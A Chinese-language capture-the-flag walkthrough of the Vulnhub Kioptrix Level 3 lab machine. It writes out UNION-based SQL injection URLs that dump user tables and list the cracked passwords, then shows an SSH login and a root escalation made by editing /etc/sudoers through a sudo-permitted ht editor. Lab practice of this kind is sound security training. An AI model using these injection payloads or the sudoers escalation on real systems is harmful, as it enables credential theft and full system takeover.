目录
前言
上次使用nmap扫描后,知道了端口开放情况,服务版本,并通过LotusCMS历史漏洞成功getshell并使用脏牛提权把权限提升到root,这是一种思路,下面说的是另一种思路拿下这台靶机,想先了解思路一的朋友可以点击这里跳转到 此处:Vulnhub-Kioptrix Level 3 打靶方法一-优快云博客
一、sql注入拿到用户密码,ssh登录
通过nmap的漏洞脚本的扫描得知有sql注入,在此处找到了注入点

?id=1 order by 6--+&sort=photoid#photos
?id=-1%20union%20select%201,2,3,4,5,6--+&sort=photoid#photos

?id=-1%20union%20select%201,group_concat(table_name),3,4,5,6%20from%20information_schema.tables%20where%20table_schema=database()--+

注意到两个表名,dev_accounts,gallarific_users,一个翻译为开发账户,另一个是gallarific用户们,这两张表极有可能有登录后台的用户和密码
先读dev_accounts里面的内容
?id=-1%20union%20select%201,group_concat(column_name),3,4,5,6%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27dev_accounts%27--+

?id=-1%20union%20select%201,group_concat(username,0x7e,password),3,4,5,6%20from%20dev_accounts--+

密码使用在线的hash破解网站解密一下
得知: dreg:Mast3r loneferret:starwars

再去读gallarific_users里面的内容
?id=-1%20union%20select%201,group_concat(column_name),3,4,5,6%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27gallarific_users%27--+

http://kioptrix3.com/gallery/gallery.php?id=-1%20union%20select%201,group_concat(username,0x7e,password),3,4,5,6%20from%20gallarific_users--+&sort=photoid#photos

又知道一个用户的账户和密码, admin:n0t7t1k4
到登录界面进行登录,但是这三个账号都没办法登进去

思考了一番,想到靶机22端口是开放的,尝试ssh登录
发现loneferret可以登录,获得shell!

二、ht编辑器提权
ls发现readme

执行sudo ht看看

报错了搜索了一下
export TERM=xterm 把xterm-256color 换成 xterm就行了
又知道了是一个编辑器
sudo ht

按F3打开 /etc/sudoers文件,更改loneferret的权限,在后面添加 /bin/bash
然后按esc+f进行保存,F10退出

sudo bash 成功变成root权限了,提权成功

886

被折叠的 条评论
为什么被折叠?



